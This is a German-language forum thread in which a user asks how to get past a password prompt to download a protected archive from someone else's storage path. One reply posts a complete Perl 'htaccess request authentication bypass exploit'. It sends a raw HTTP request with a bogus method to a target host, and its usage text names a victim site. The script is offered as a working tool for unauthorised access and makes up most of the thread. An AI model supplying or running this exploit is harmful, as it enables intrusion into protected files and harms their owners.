Wer kann Helfen ?

[nilslissy]

Tag,


Es geht um den Folgenden Link :

/wwwroot/tradebit/tradebit.com/usr/blackman1970/prv/5001/auction.rar


Ich will die datei auction.rar Downloaden.
Aber man wird nach Log und Pw Gefragt.

Frage:Kann man dies Umgehen ?

MfG,

[Kolabi]

Naja,
da kann man nur mit Bruteforce einige Jahrzehnte ausprobieren.

[Fox-Jet]

Um dir keine Blöde antwort zu geben, sag ichs mal so,

Es ist möglich es zu umgehen, du brauchst abber viel zeit einen guten rechner und eine gute I-Net Leitung

[IRET]

Wahrscheinlich eine .htaccess
EBFE hat vor kurzem ein htaccess Exploit gepostet.
Ich nehme mir mal die Freiheit es hier rein zu kopieren ;)


use IO::Socket;
use strict;
use warnings;

# __________________________________________________
#
# ------------------------------------------------
# | htaccess request authentication bypass exploit |
# ------------------------------------------------
#
# written by katharsis - www.katharsis.x2.to
#
# __________________________________________________


<<i;


( )
|\ _,--------._ / |
| `.,' `. / |
` ' ,-' '
\/ ( /
,-. ,-. `__,'
| \) ,' ) ,'.` |
`.#/) '.#_,' ) ))|
/ (_.)\ . -'//
( /\____/\ ) )`'\
\ |V----V|| ' , \
|`- -- -' ,' \ \ _____
___ | .' \ \ `._,-' `-
`.__,`---^---' \ ` -'
-.______ \ . / ______,-
`. ,'


The devil is and always has been a gentleman.

i


my $host = shift;
my $file = shift;

print "\n[ htaccess request authentication bypass exploit ]\n";

if (!$file)
{
print "\n usage htxploit.pl [host] [directory / file]";
print "\n example htxploit.pl www.victim.com /forums/\n\n";
exit;
}

my $socket = new IO::Socket::INET (
PeerAddr => $host,
PeerPort => '80',
Proto => 'tcp',
);

my $packet =

"\x4D\x58\x48\x5A\x4D\x58\x20".$file.
"\x20\x48\x54\x54\x50\x2F\x31\x2E\x31\n".
"\x48\x6F\x73\x74\x3A\x20".$host."\n\n\n";

print $socket $packet;

while(<$socket>)
{
print;
}
close($socket);